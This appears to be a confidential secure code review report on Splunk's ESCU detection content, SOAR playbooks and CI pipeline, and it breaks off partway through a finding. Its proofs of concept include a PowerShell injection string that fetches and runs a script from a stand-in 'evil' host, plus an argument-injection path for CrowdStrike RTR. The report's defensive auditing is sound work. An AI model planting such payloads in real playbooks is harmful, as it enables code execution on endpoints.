Bell Cyber

Secure Code Review Report

Splunk security_content (ESCU): Detection Content, SOAR Playbooks, CI/CD and Supply Chain

Field	Value
Prepared by	Bell Cyber STIRT (Security Threat Intelligence and Response Team)
Repository	bellcodereview/security_content
Commit reviewed	develop @ 4cd62e8 (2026-09-08)
Assessment date	2026-10-06
Report classification	Confidential
Unique findings	111 (0 Critical, 13 High, 31 Medium, 47 Low, 20 Informational)

Confidentiality notice. This document contains the results of an authorized security assessment and describes exploitable weaknesses. Distribution is restricted to the assessment sponsor and the engineering owners of the reviewed repository.

1. Executive Summary

1.1 Purpose and outcome

Bell Cyber's Security Threat Intelligence and Response Team performed an authorized, full-coverage secure code review of the `security_content` repository, Splunk's Enterprise Security Content Update source tree, under written permission to test. The review read every line of the 129 Python files, 9 GitHub Actions workflows, dashboards, app metadata, lookups and configuration, parsed all 2,169 detection rules, 41 baselines, 365 analytic stories and 86 response-playbook definitions with purpose-built checkers, ran six static-analysis and secret-scanning tools, audited the full 65-package build dependency tree, and executed sandboxed proofs of concept for every string-building weakness.

The repository contains no deployable web application, so there was no running site to exercise through a browser. It is detection content plus response automation. The attack surface that matters is the data that flows into it: event fields chosen by whoever generates the activity Splunk observes, pull requests from any contributor, and dashboard URLs. Those three sources reach sensitive sinks in several places.

1.2 Headline results

Severity	Unique findings	Summary
Critical	0	No unauthenticated, no-precondition remote compromise was identified.
High	13	Command execution reachable on managed endpoints through response playbooks, destructive response automation that attacker-chosen input can steer, a published cloud password, a CI expression-handling weakness, and a supply-chain path into the shared app-binaries bucket.
Medium	31	Query-building weaknesses across SPL, CrowdStrike FQL, LDAP, ServiceNow and the SOAR REST API; two dashboard SPL-handling issues; allow-list poisoning in stateful detections; an unlocked dependency tree; end-of-life platform components; licence-compliance gaps; and a credential written to logs.
Low	47	Defence-in-depth gaps, sensitive identifiers in sample data, correctness defects that silently weaken detections, and hygiene issues.
Informational	20	Positive controls worth preserving, scanner false positives explained, and documentation and metadata notes.

The eight parallel reviewers raised 125 findings; 14 were the same issue observed from a different angle and were merged, leaving **111 unique findings**. Every finding carries a verified file and line reference, a reachability verdict, a proof of concept or reproduction path, a complete fixed code block, and mappings to CWE with the 2024 CWE Top 25 rank, OWASP Top 10 2021, MITRE ATT&CK, NIST SP 800-53 Revision 5, NIST CSF 2.0, ISO/IEC 27001:2022 Annex A and the SANS Secure Coding Practices.

1.3 Themes that drive the risk

The findings cluster into a small number of root causes. Fixing the cause resolves many findings at once.

Untrusted values are placed into command and query strings without neutralisation. The same habit appears in shell and PowerShell commands sent to managed hosts, in Splunk searches, in CrowdStrike filter expressions, in LDAP and ServiceNow queries, in SOAR REST filter parameters, and in two dashboards. The repository already contains the correct pattern in a few places, the Jira playbook escapes its query language and one dashboard uses Splunk's safe-quote filter, so the remedy is to apply the existing good pattern everywhere rather than to invent anything new.

Destructive response automation lacks an approval step and an exclusion list. Playbooks that disable accounts, isolate hosts, terminate processes, delete mail and block domains act directly on fields that originate in the triggering alert. Because an outside party can influence those fields, the automation can be pointed at a chosen target. The project already demonstrates the safe pattern: several playbooks require an analyst approval before acting, and one keeps a protected-account allow-list. The gap is that the pattern is applied inconsistently.

Stateful detections trust the data they are meant to judge. A group of "first time seen" and "spike" detections write the values they observe into the same allow-list they read on the next run, so a single observation during a quiet window can suppress future alerts on the same indicator. The fix is to separate the component that maintains the baseline from the component that alerts, and to gate promotion into the baseline.

The build and supply chain are not pinned by content. The dependency tree, several ad-hoc package installs, every third-party GitHub Action, dozens of app tarballs and two container images are referenced by mutable name rather than by hash or digest, and one scheduled job installs unpinned packages while holding long-lived cloud credentials. The current resolution is clean today, so this is a structural exposure rather than a live vulnerability, but it is the widest blast radius in the repository.

Sample data and one shipped credential disclose real information. One response playbook ships a fixed cloud console password, a scheduled job prints a derived session token into public build logs, and the CloudTrail and Entra sample logs retain genuine account identifiers, access-key identifiers and employee personal data despite a partial scrubbing effort.

1.4 Positive controls observed

The review also recorded controls that are working and should be preserved: the Jira playbook correctly escapes its query language; one dashboard and one detection use Splunk's safe-quote filter and should be the template for the rest; several playbooks gate destructive actions behind an analyst prompt; the build pins its one declared Python requirement; `yaml.safe_load` is used throughout with no unsafe deserialization in shipped code; the labeler workflow uses the privileged trigger safely; the dependency resolution is free of known vulnerabilities as of the review date; every detection carries its filter macro; removed and deprecated content is correctly excluded from the build; and all 2,154 test-data URLs point to the official data repository over HTTPS. No private keys, live third-party tokens, connection strings or secret access keys exist in the tree or its reachable history.

1.5 Recommended sequence

1. Remove the shipped cloud password and generate a unique credential per run; stop printing the session token to build logs and rotate the affected account.
2. Apply the project's existing escaping and safe-quote patterns to every command and query that includes untrusted input, and add an approval step plus a protected-entity exclusion list before every destructive response action.
3. Separate baseline maintenance from alerting in the stateful detections and gate promotion into allow-lists.
4. Pin the dependency tree, the GitHub Actions, the container images and the app tarballs by hash or digest, move credential setup after package installation in the scheduled job, and add the pip and container ecosystems to automated updates.
5. Run the sample-log sanitiser, verify the exposed access keys are deactivated, and add secret scanning to the pre-commit hooks and the pipeline.

2. Scope, Methodology and Limitations

2.1 Target

Attribute	Value
Repository	bellcodereview/security_content (fork of splunk/security_content, Splunk ES Content Update "ESCU")
Branch / commit reviewed	develop @ 4cd62e811c5eddf1245c780d48823d7b38998566 (2026-09-08), reviewed on branch claude/nice-ride-5xnyc8
Repository size	4,256 files, 48 MB (3,743 YAML, 171 JSON, 129 Python, 74 CSV, 5 Jupyter notebooks, 3 XML, 1 shell script)
Code reviewed line by line	129 Python files (86 SOAR playbooks, 35 SOAR custom functions, 8 CI/validation scripts), 9 GitHub Actions workflows, 3 dashboards, app template XML and metadata, 255 macro definitions, 103 lookup definitions and 74 CSV data files, 315 data-source fixtures, 11 JSON schemas, 5 notebooks, 86 playbook JSON definitions, all configuration files
Content reviewed programmatically plus by hand on every rule hit	2,169 detection YAML files, 41 baselines, 365 analytic stories, 377 removed-content records
Build toolchain	contentctl-ng 1.1.1 (PyPI), Splunk Enterprise 9.3 test container, 38 Splunk add-ons from an S3 bucket

2.2 What the repository is

The repository is not a web application. It is the source of the Splunk Enterprise Security Content Update app. It contains detection rules written in Splunk Search Processing Language (SPL) inside YAML, Splunk SOAR (formerly Phantom) response playbooks written in Python with JSON editor

definitions, SOAR custom functions, lookup tables, two Splunk dashboards, an app skeleton, and the GitHub Actions pipeline that builds, validates and tests the app. Untrusted input therefore enters the system in three ways:

- **Event data.** Hostnames, file paths, process command lines, e-mail headers, URLs, hashes and usernames in Splunk events are chosen by whoever generates the activity. They become notable events, then SOAR container and artifact fields, and then parameters of playbook actions that run with the SOAR automation account's privileges on Active Directory, AWS, Azure AD, CrowdStrike Falcon, firewalls, DNS filters and mail tenants.
- **Pull requests.** Any GitHub user can open a fork pull request. Workflows build and test that content on GitHub runners.
- **Dashboard URLs.** Splunk dashboard tokens can be seeded from the URL by anyone who can get a Splunk user to click a link.

2.3 Method

The review combined manual line-by-line reading with automated analysis and executed proofs of concept.

- **Static analysis tooling.** Bandit 1.8, Semgrep (rulesets p/python, p/github-actions, p/secrets), gitleaks 8.21.2 (working tree and full git history), detect-secrets, pip-audit 2.10 (PyPI advisory database and OSV), pip-licenses. Every scanner hit was triaged by hand and is listed with a verdict in the secrets and dependency sections.
- **Manual review.** Eight reviewers worked in parallel on disjoint slices of the repository (CI and build scripts; playbooks in two batches; custom functions; app template, dashboards, lookups and macros; detection content; secrets; dependencies and licences). Every Python, XML, workflow and configuration file was read in full. The 2,169 detections were parsed with a purpose-written rule checker and every file that tripped a rule was read by hand at the cited lines.
- **Proof-of-concept execution.** Where a vulnerability lives in string building (shell commands, PowerShell, FQL, LDAP, SPL, ServiceNow queries, REST query strings, zip extraction, regular expressions), the exact code was copied into an isolated sandbox with a stubbed `phantom` SDK and driven with malicious inputs. The resulting command or query strings, timings and extraction results are reproduced verbatim in each finding. No external system, customer environment or live credential was touched.
- **Software composition analysis.** The full transitive dependency tree of the build tool (65 packages) was resolved on CPython 3.14 and audited. Component versions, end-of-life dates and licences were verified online against PyPI, OSV, endoflife.date, Docker Hub, Splunkbase, the Go module proxy and upstream licence files; the few items that could not be verified online are marked as reasoned from training knowledge.

2.4 Severity model

Severity follows CVSS v3.1 base scores adjusted for the realistic attack path: Critical 9.0 to 10.0, High 7.0 to 8.9, Medium 4.0 to 6.9, Low 0.1 to 3.9, Informational for positive controls, false positives worth recording and code-quality notes. Each finding also carries an exploitability verdict: **Exploitable** (demonstrated end to end in the sandbox or by configuration evidence), **Conditionally exploitable** (requires a deployment precondition such as a particular connector, asset privilege or analyst action, or an upstream compromise) or **Not exploitable** (defence-in-depth or correctness only).

2.5 Limitations and honest statements

- **No running application was available for browser testing.** The repository contains no deployable web application. The two Splunk dashboards and the SOAR playbooks only execute inside a Splunk Enterprise or Splunk SOAR instance. The review sandbox has no Docker daemon and no Playwright MCP server, so the Splunk 9.3 test container defined in `contentctl.yml` could not be started and the dashboards could not be exercised by clicking through a browser. Every browser-reachable issue (the two dashboard SPL injections) is instead documented with the exact URL payload and the exact steps to reproduce on your own Splunk instance in Section 8.
- **No "Codex" approval step exists in this environment.** The requested sign-off by Codex could not be performed; the verification performed is the sandboxed proof-of-concept execution described in each finding.
- **No source files were modified.** All remediation code is provided in this report and in the companion mapping files; nothing in the repository was changed, consistent with the instruction not to modify files that were not explicitly requested.
- **SOAR connector behaviour was not observable.** Several injections (FQL, OData, Gmail search, ServiceNow) terminate in a vendor connector whose server-side parsing could not be exercised offline. Those findings are rated Conditionally exploitable and the demonstrated impact (query widening, fan-out of destructive actions) does not depend on connector parsing.
- **contentctl-ng source is not public**, so the build tool itself was reviewed only through its published package metadata and dependency tree.

3. File Risk Ratings

Each file that processes untrusted input or handles sensitive data was rated 1 to 5 for how likely it is to contain an interesting security, logic, authentication, authorization, injection, input-validation, error-handling or memory-management weakness. A rating of 5 means untrusted input reaches a dangerous sink or a confirmed secret was found; 4 means a likely issue or dangerous pattern; 3 moderate; 2 low; 1 inert data or documentation. The repository holds 4,256 files, most of which are inert detection metadata, so the tables below list every file that earned a 4 or 5 through a confirmed finding, followed by directory-level ratings for the large homogeneous groups.

3.1 Files rated 5 (untrusted input reaches a dangerous sink, or a confirmed secret)

File	Rating	Finding(s)	Why
`.github/workflows/unit-testing.yml`	5	CI-01,CI-02,CI-10,CI-14,DEP-01,DEP-03	PR branch name interpolated into run steps; builds untrusted fork code on a large runner
`.github/workflows/update_splunk_tas.yml`	5	CI-03,DEP-02,DEP-04	Unpinned package install while holding long-lived cloud credentials that write the shared bucket

File	Rating	Finding(s)	Why
playbooks/Cisco_Umbrella_DNS_Denylisting.py	5	PB1-03	Destructive response actions (account disable/enable, quarantine, kill, delete, block, global prevent IOC) with no approval gate or allow-list
playbooks/CrowdStrike_OAuth_API_Network_Isolation.py	5	PB1-03	FQL filter injection drives quarantine of arbitrary hosts, no gate
playbooks/DNS_Denylisting_Dispatch.py	5	PB1-03	Destructive response actions (account disable/enable, quarantine, kill, delete, block, global prevent IOC) with no approval gate or allow-list
playbooks/Panorama_Outbound_Traffic_Filtering.py	5	PB1-03	Destructive response actions (account disable/enable, quarantine, kill, delete, block, global prevent IOC) with no approval gate or allow-list
playbooks/delete_detected_files.py	5	PB2-10	File path substituted into a cmd.exe del/more command with no approval gate
playbooks/malware_hunt_and_contain.py	5	PB2-10	Auto disable, logoff, shutdown and hash-block driven by reputation verdict, no prompt
playbooks/AD_LDAP_Account_Locking.py	5	PB1-03	Destructive response actions (account disable/enable, quarantine, kill, delete, block, global prevent IOC) with no approval gate or allow-list
playbooks/AWS_IAM_Account_Unlocking.json	5	PB1-06	Same hard-coded password in the playbook definition
playbooks/AWS_IAM_Account_Unlocking.py	5	PB1-06	Hard-coded cloud console password applied to every re-enabled user
playbooks/CrowdStrike_OAuth_API_Device_Attribute_Lookup.py	5	PB1-01	FQL filter injection via the device selector
playbooks/CrowdStrike_OAuth_API_Endpoint_Analysis.py	5	PB1-01,PB1-15,PB1-16	FQL injection into RTR sessions; super-linear regex on endpoint output
playbooks/CrowdStrike_OAuth_API_Executable_Denylisting.py	5	PB1-01,PB1-03	Global prevent indicator uploaded for any hash, no gate
playbooks/CrowdStrike_OAuth_API_File_Collection.py	5	PB1-01,PB1-02	FQL injection plus raw path to RTR get
playbooks/CrowdStrike_OAuth_API_File_Ev	5	PB1-01,PB1-02,PB1-16	FQL injection plus raw path as RTR rm argument, no gate

File	Rating	Finding(s)	Why
iction.py			
playbooks/CrowdStrike_OAuth_API_File_Restore.py	5	PB1-01,PB1-02,PB1-16	FQL injection; RTR put of every artifact file name
playbooks/CrowdStrike_OAuth_API_Get_Device_Info.py	5	PB1-01	FQL filter injection via the device selector
playbooks/CrowdStrike_OAuth_API_Network_Restore.py	5	PB1-01	FQL injection drives un-quarantine of arbitrary hosts
playbooks/CrowdStrike_OAuth_API_Process_Termination.py	5	PB1-01,PB1-02	FQL injection plus raw PID to RTR kill, no gate
playbooks/block_indicators.py	5	PB2-10	Blocks attacker-chosen indicator on firewall, EDR and DNS with no approval gate
playbooks/internal_host_ssh_investigate.py	5	PB2-01	Attacker-influenced hostname concatenated into a shell command run on the endpoint
playbooks/internal_host_ssh_log4j_investigate.py	5	PB2-01	Hostname concatenated into an SSH-dispatched shell command
playbooks/internal_host_ssh_log4j_respond.py	5	PB2-02,PB2-09	File paths interpolated into a shell loop and deletion command; destructive, partly ungated
playbooks/internal_host_winrm_log4j_respond.py	5	PB2-03,PB2-09	File paths placed unquoted into PowerShell Test-Path and Remove-Item
playbooks/ransomware_investigate_and_contain.py	5	PB2-10	Auto quarantine, disable, terminate and block with no prompt

3.2 Files rated 4 (likely issue or dangerous pattern)

File	Rating	Finding(s)	Why
.github/workflows/appinspect.yml	4	CI-13,DEP-01,DEP-03	Build toolchain dependency tree unlocked: 65 transitive packages float with no lockfile or hashes
.github/workflows/build.yml	4	DEP-01	Build toolchain dependency tree unlocked: 65 transitive packages float with no lockfile or hashes
.github/workflows/datasource-dependabot.yml	4	DEP-01	Build toolchain dependency tree unlocked: 65 transitive packages float with no lockfile or hashes
.github/workflows/ta_update.py	4	CI-03,CI-05,CI-09	Prints a live session token to logs; parses remote XML;

File	Rating	Finding(s)	Why
			requests without timeout
playbooks/AWS_IAM_Account_Locking.json	4	PB1-03	Destructive response actions (account disable/enable, quarantine, kill, delete, block, global prevent IOC) with no approval gate or allow-list
playbooks/Azure_AD_Account_Locking.json	4	PB1-03	Destructive response actions (account disable/enable, quarantine, kill, delete, block, global prevent IOC) with no approval gate or allow-list
playbooks/Cisco_Umbrella_DNS_Denylisting.json	4	PB1-03	Destructive response actions (account disable/enable, quarantine, kill, delete, block, global prevent IOC) with no approval gate or allow-list
playbooks/CrowdStrike_OAuth_API_Network_Isolation.json	4	PB1-03	Destructive response actions (account disable/enable, quarantine, kill, delete, block, global prevent IOC) with no approval gate or allow-list
playbooks/CrowdStrike_OAuth_API_Process_Termination.json	4	PB1-03	Destructive response actions (account disable/enable, quarantine, kill, delete, block, global prevent IOC) with no approval gate or allow-list
playbooks/G_Suite_for_GMail_Message_Identifier_Activity_Analysis.py	4	PB1-07,PB1-10	Attacker-controlled e-mail Message-ID drives tenant-wide search, delete and restore (MS Graph, Gmail)
playbooks/G_Suite_for_Gmail_Message_Eviction.json	4	PB1-03	Destructive response actions (account disable/enable, quarantine, kill, delete, block, global prevent IOC) with no approval gate or allow-list
playbooks/G_Suite_for_Gmail_Message_Eviction.py	4	PB1-07	Attacker-controlled e-mail Message-ID drives tenant-wide search, delete and restore (MS Graph, Gmail)
playbooks/MS_Graph_for_Office_365_Message_Eviction.json	4	PB1-03	Destructive response actions (account disable/enable, quarantine, kill, delete, block, global prevent IOC) with no approval gate or allow-list
playbooks/MS_Graph_for_Office_365_Message_Identifier_Activity_Analysis.py	4	PB1-07,PB1-17	Attacker-controlled e-mail Message-ID drives tenant-wide search, delete and restore (MS Graph, Gmail)
playbooks/	4	PB1-07	Attacker-controlled e-mail

File	Rating	Finding(s)	Why
MS_Graph_for_Office_365_Message_Restore.py			Message-ID drives tenant-wide search, delete and restore (MS Graph, Gmail)
playbooks/Panorama_Outbound_Traffic_Filtering.json	4	PB1-03	Destructive response actions (account disable/enable, quarantine, kill, delete, block, global prevent IOC) with no approval gate or allow-list
playbooks/Splunk_Identifier_Activity_Analysis.py	4	PB2-06	SPL injection via untrusted CEF fields in Splunk run query templates (multiple playbooks)
playbooks/Splunk_Message_Identifier_Activity_Analysis.py	4	PB2-06	SPL injection via untrusted CEF fields in Splunk run query templates (multiple playbooks)
playbooks/Splunk_Notable_Related_Tickets_Search.py	4	PB2-06	SPL injection via untrusted CEF fields in Splunk run query templates (multiple playbooks)
playbooks/Zscaler_Outbound_Traffic_Filtering.json	4	PB1-03	Destructive response actions (account disable/enable, quarantine, kill, delete, block, global prevent IOC) with no approval gate or allow-list
app_template/default/data/ui/views/escu_summary.xml	4	APP-01	Dashboard token placed into a search with only literal-quote wrapping
playbooks/asset_get_attributes.py	4	CF-01	Unescaped input interpolated into SOAR REST _filter_* query strings (filter/parameter injection)
baselines/create_a_list_of_approved_aws_service_accounts.yml	4	DET-04	Previously-seen baselines and their consumers form an allow-list poisoning path (30 files)
baselines/previously_seen_s3_bucket_access_by_remote_ip.yml	4	DET-04	Previously-seen baselines and their consumers form an allow-list poisoning path (30 files)
contentctl.yml	4	CI-14,DEP-03,DEP-04,DEP-08,SEC-10	Dozens of app tarballs and a container image fetched with no integrity check
dashboards/applocker.json	4	APP-02	Unquoted dashboard tokens in a search that auto-runs on load
detect_gcp_storage_access_from_a_new_ip.yml	4	DET-03	New-IP and spike detections write their own allow-list from attacker-influenced events (self-poisoning)
detect_spike_in_blocked_outbound_traffic_from_your_aws.yml	4	DET-03	New-IP and spike detections write their own allow-list from attacker-influenced events (self-poisoning)
detect_spike_in_s3_bucket_dele	4	DET-03	New-IP and spike detections

File	Rating	Finding(s)	Why
tion.yml			write their own allow-list from attacker-influenced events (self-poisoning)
detections/cloud/detect_s3_access_from_a_new_ip.yml	4	DET-03	New-IP and spike detections write their own allow-list from attacker-influenced events (self-poisoning)
detections/cloud/gsuite_outbound_email_with_attachment_to_external_domain.yml	4	DET-07	Hard-coded placeholder domain internal_test_email.com ships as live detection logic (dead detections)
detections/endpoint/crowdstrike_privilege_escalation_for_non_admin_user.yml	4	DET-06	Case-sensitive match()/LIKE on attacker-controlled fields allows trivial bypass
detections/endpoint/first_time_seen_running_windows_service.yml	4	DET-04	Previously-seen baselines and their consumers form an allow-list poisoning path (30 files)
detections/endpoint/potential_password_in_username.yml	4	DET-02	Attacker-chosen username substituted unquoted into an inner SPL search
detections/endpoint/rundll_loading_dll_by_ordinal.yml	4	DET-06	Case-sensitive match()/LIKE on attacker-controlled fields allows trivial bypass
detections/endpoint/windows_admin_permission_discovery.yml	4	DET-06	Case-sensitive match()/LIKE on attacker-controlled fields allows trivial bypass
detections/web/crushftp_authentication_bypass_exploitation.yml	4	DET-06	Case-sensitive match()/LIKE on attacker-controlled fields allows trivial bypass
playbooks/find_related_containers.py	4	CF-01	Unescaped input interpolated into SOAR REST _filter_* query strings (filter/parameter injection)
gsuite_drive_share_in_external_email.yml	4	DET-07	Hard-coded placeholder domain internal_test_email.com ships as live detection logic (dead detections)
gsuite_email_suspicious_subject_with_attachment.yml	4	DET-07	Hard-coded placeholder domain internal_test_email.com ships as live detection logic (dead detections)
gsuite_email_with_known_abuse_web_service_link.yml	4	DET-07	Hard-coded placeholder domain internal_test_email.com ships as live detection logic (dead detections)
gsuite_suspicious_shared_file_name.yml	4	DET-07	Hard-coded placeholder domain internal_test_email.com ships as live detection logic (dead detections)

File	Rating	Finding(s)	Why
playbooks/indicator_get_by_tag.py	4	CF-01,CF-17	Unescaped input interpolated into SOAR REST _filter_* query strings (filter/parameter injection)
playbooks/indicator_tag.py	4	CF-01,CF-10	Unescaped input interpolated into SOAR REST _filter_* query strings (filter/parameter injection)
install.yml	4	DEP-03	Splunk apps, attack data and container images downloaded without integrity verification from mutable locations
playbooks/AD_LDAP_Account_Locking.json	4	PB1-03	Destructive response actions (account disable/enable, quarantine, kill, delete, block, global prevent IOC) with no approval gate or allow-list
playbooks/AD_LDAP_Entity_Attribute_Lookup.py	4	PB1-04,PB1-12	LDAP filters built from untrusted device and group values without escaping
playbooks/CiscoTalosIntelligence_Identifier_Reputation_Analysis.py	4	PB1-08,PB1-10	Fail-open verdict mapping typo; unescaped markdown notes
playbooks/MS_Graph_for_Office_365_Message_Eviction.py	4	PB1-07	Attacker Message-ID drives tenant-wide mail deletion
playbooks/ServiceNow_Related_Tickets_Search.py	4	PB1-05	Search term concatenated into a ServiceNow encoded query and URL parameters
playbooks/activedirectory_reset_password.py	4	PB2-07,PB2-08	Non-cryptographic password generator; cleartext password written to a comment
playbooks/custom_functions/container_merge.py	4	CF-09	Unauthorised close, merge and evidence on attacker-influenced container ids
playbooks/custom_functions/container_update.py	4	CF-01,CF-02	Mass-assignment via input_json with no key allow-list; filter-string injection
playbooks/custom_functions/regex_extract_email.py	4	CF-07	Polynomial-backtracking regex over attacker e-mail text
playbooks/custom_functions/regex_filter_list.py	4	CF-05,CF-06	Compiles user-supplied regex (ReDoS) and uses prefix-anchored matching for filtering
playbooks/custom_functions/zip_extract.py	4	CF-04,CF-18	Extracts an attacker-supplied archive with no decompression caps or cleanup
playbooks/hunting.py	4	PB2-05	Raw IP address passed as the whole Splunk/Carbon Black query (hunting.py)
playbooks/	4	PB2-06	SPL injection via untrusted CEF

File	Rating	Finding(s)	Why
internal_host_splunk_investigate_log4j.py			fields in Splunk run query templates (multiple playbooks)
playbooks/playbooks_list.py	4	CF-01	Unescaped input interpolated into SOAR REST _filter_* query strings (filter/parameter injection)
playbooks/regex_split.py	4	CF-05,CF-15	ReDoS via user-supplied regex compiled in regex_filter_list and regex_split
requirements.txt	4	DEP-01,DEP-06,DEP-07	Single pin; 65 transitive packages float with no lockfile or hashes
playbooks/risk_notable_import_data.py	4	PB2-06	SPL injection via untrusted CEF fields in Splunk run query templates (multiple playbooks)
playbooks/risk_notable_protect_assets_and_users.py	4	PB2-06,PB2-11	SPL injection via untrusted CEF fields in Splunk run query templates (multiple playbooks)
playbooks/workbook_add.py	4	CF-01	Unescaped input interpolated into SOAR REST _filter_* query strings (filter/parameter injection)
playbooks/workbook_task_update.py	4	CF-01	Unescaped input interpolated into SOAR REST _filter_* query strings (filter/parameter injection)

3.3 Directory and group ratings

Group	Files	Group rating	Rationale
playbooks/*.py (response playbooks)	86	4	Run with the automation account's privileges; many build commands and queries from attacker-influenced fields.
playbooks/custom_functions/*.py	35	3	Reusable SOAR helpers; several interpolate untrusted values into REST filters or compile user regex.
.github/workflows/**	13	4	Build and test untrusted pull-request content; handle cloud and publishing credentials.
data_sources/*.yml	315	3	Sample logs that retain genuine account identifiers and employee personal data.
detections/cloud	318	3	Contains the self-poisoning stateful detections and placeholder-domain dead logic.
baselines/**	41	3	Thirteen update baselines learn attacker-influenced values into shared allow-lists.
detections/endpoint	1,523	2	Mostly inert SPL over event data; a handful reach 3 to 5 (see 3.1 and 3.2).
detections/	325	2	One SPL-injection detection and several

Group	Files	Group rating	Rationale
`{application,network,web}`			case-sensitivity bypasses.
`macros/**`, `lookups/**`	358	2	Allow-list filters and reference data; permissive defaults and formula-prone CSV cells.
`deprecated/notebooks/*.ipynb`	5	2	Deserialize models with pickle and torch.load on stale libraries; excluded from the build.
`removed/**`, `stories/**`, `schemas/**`, docs	760	1	Inert content excluded from the shipped app.

4. Detailed Findings

Findings are grouped by review area and ordered by severity within each area. Duplicate findings that two reviewers raised for the same root cause are consolidated under one identifier; the merged identifiers are noted at the end of this section.

4.1 SOAR Response Playbooks

This area produced 35 unique findings: 10 High, 8 Medium, 12 Low, 5 Informational.

PB1-02 — CrowdStrike RTR command-argument injection and path traversal via raw path/pid inputs

Severity: High (CVSS v3.1 base 8.5). Exploitability: Conditionally exploitable (PoC executed).

Location. playbooks/CrowdStrike_OAuth_API_File_Eviction.py:307-324; playbooks/CrowdStrike_OAuth_API_File_Collection.py:281-298; playbooks/CrowdStrike_OAuth_API_Process_Termination.py:273-290; playbooks/CrowdStrike_OAuth_API_File_Restore.py:410-427

```
# File_Eviction.py
314  for playbook_input_path_item in playbook_input_path:
318      parameters.append({"data": playbook_input_path_item[0], "command": "rm", ...})
336  phantom.act("run admin command", parameters=parameters,
name="run_admin_command_rm", ...)
```

Description: The file path / PID is forwarded verbatim as the `data` argument of a CrowdStrike RTR admin command (`rm`, `get`, `kill`, `cd`). RTR parses `data` as the command's argument line, so a value containing spaces and switches (e.g. a trailing `-Force`, an alternate path, wildcards) changes what the endpoint command does. No canonicalisation, no allow-list, no "file must exist / must be the flagged IOC" check. Combined with PB1-01 the operation fans out over the device x session cross-product. **Untrusted-input reachability**: `path`/`pid` are artifact CEF fields derived from the triggering detection. Source -> `collect2` -> RTR `data` -> endpoint. **Verdict: Conditionally exploitable** - exact weaponisation depends on RTR's server-side argument handling for each command; at minimum an operator-supplied path is executed without validation (path traversal / unintended deletion). **Proof of concept** (`poc_fql_rtr.py`, real output): with `path = "C:\\Users -Force"` and two devices/two sessions returned by the injected query, the playbook emitted four `run admin command` calls:

```
param: {"data": "C:\\Users -Force", "command": "rm", "device_id": "aid-0001",
"session_id": "sess-A", ...}
... (aid-0001/sess-B, aid-0002/sess-A, aid-0002/sess-B)
```

The `-Force` switch rides along in `data`, and the device x session nested loops (l.314-324) multiply the call. **Remediation**: validate the path against an absolute-path allow-list, reject argument-like tokens, and iterate device/session as pairs rather than a cross product:

```
import re, ntpath
def _safe_win_path(p):
    if not p or len(p) > 260: return False
    if re.search(r'[<>"|?*\n\r]', p): return False          # illegal / injection chars
    if ' -' in p or p.strip().startswith('-'): return False  # switch injection
    return bool(re.match(r'^[A-Za-z]:\\', p)) and '..' not in p
for path_item, dev_item, sess_item in zip(playbook_input_path, query_device_result_data,
create_session_result_data):
    if not _safe_win_path(path_item[0]):
        phantom.error(f"Rejected path {path_item[0]!r}"); continue
    parameters.append({"data": path_item[0], "command": "rm", "device_id": dev_item[0],
"session_id": sess_item[0], ...})
```

Standards mapping.

CWE: CWE-88 Improper Neutralization of Argument Delimiters in a Command (Argument Injection); CWE-77 Improper Neutralization of Special Elements used in a Command (Command Injection) (2024 CWE Top 25 #13); CWE-22 Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) (2024 CWE Top 25 #5). **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1070 Indicator Removal, T1059 Command and Scripting Interpreter. **NIST SP 800-53r5:** SI-10 Information Input Validation, CM-5 Access Restrictions for Change. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / Input Validation.

PB2-03 — PowerShell command injection via unquoted filepath in internal_host_winrm_log4j_respond

Severity: High (CVSS v3.1 base 8.3). Exploitability: Exploitable (PoC executed).

Location. playbooks/internal_host_winrm_log4j_respond.py:59,145-154

`:145-154` (`generate_deletion_commands`). **Code excerpt** (`:59`):

```
script_str = f"$ProgressPreference = 'SilentlyContinue'; Test-Path {','.join(v)} |
ConvertTo-Json"
```

`:150`: `deletion_string += f"{filepath},"` → `Remove-Item {paths}`. **Description**: Unlike the SSH variant, the filepaths here are **not quoted at all** before being joined with commas into a PowerShell `Test-Path`/`Remove-Item` command sent to the WinRM `run script` action. Any `;`, newline, `|`, `$(...)` or `Invoke-Expression` in a filepath executes arbitrary PowerShell on the Windows host with the WinRM asset's (documented Administrator) rights. **Untrusted-input reachability**: `playbook_input:filepath` ← `log4j_respond.py:211-218` ← `artifact:*.cef.filePath`. Verdict: **Exploitable** for the `locate_files` branch (no gate); deletion branch gated by the `confirm` prompt. **Proof of concept** (real output):

```
PoC 4: internal_host_winrm_log4j_respond.locate_files (line 59)
script_str sent to WinRM 'run script':
    $ProgressPreference = 'SilentlyContinue'; Test-Path C:\a.jar; Invoke-WebRequest evil/p
-OutFile p.ps1; ./p.ps1,C:\b | ConvertTo-Json
```

Remediation: build a PowerShell string-array literal with each path single-quoted and internal `'` doubled, and splat it:

```
def ps_quote(s): return "'" + s.replace("'", "''") + "'"
for k, v in host_search.items():
    arr = ",".join(ps_quote(fp) for fp in v)
    script_str = f"$ProgressPreference='SilentlyContinue'; Test-Path @({arr}) | ConvertTo-
Json"
```

Single-quoted PowerShell strings are literal (no subexpression evaluation), and doubling `'` neutralises quote breakout; `Remove-Item -LiteralPath @(...)` for the delete branch. Behaviour is unchanged for normal paths.

Standards mapping.

CWE: CWE-78 OS Command Injection (2024 CWE Top 25 #7); CWE-88 Improper Neutralization of Argument Delimiters in a Command (Argument Injection). **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1059.001 Command and Scripting Interpreter: PowerShell, T1105 Ingress Tool Transfer. **NIST SP 800-53r5:** SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / Input Validation.

PB1-01 — CrowdStrike FQL filter injection via playbook_input:device (10 playbooks)

Severity: High (CVSS v3.1 base 8.2). Exploitability: Conditionally exploitable (PoC executed).

Location. playbooks/CrowdStrike_OAuth_API_Network_Isolation.py:145;
playbooks/CrowdStrike_OAuth_API_Network_Restore.py:145;
playbooks/CrowdStrike_OAuth_API_File_Eviction.py:128;
playbooks/CrowdStrike_OAuth_API_File_Collection.py:135;
playbooks/CrowdStrike_OAuth_API_File_Restore.py:118;
playbooks/CrowdStrike_OAuth_API_Process_Termination.py:127;
playbooks/CrowdStrike_OAuth_API_Executable_Denylisting.py:121;
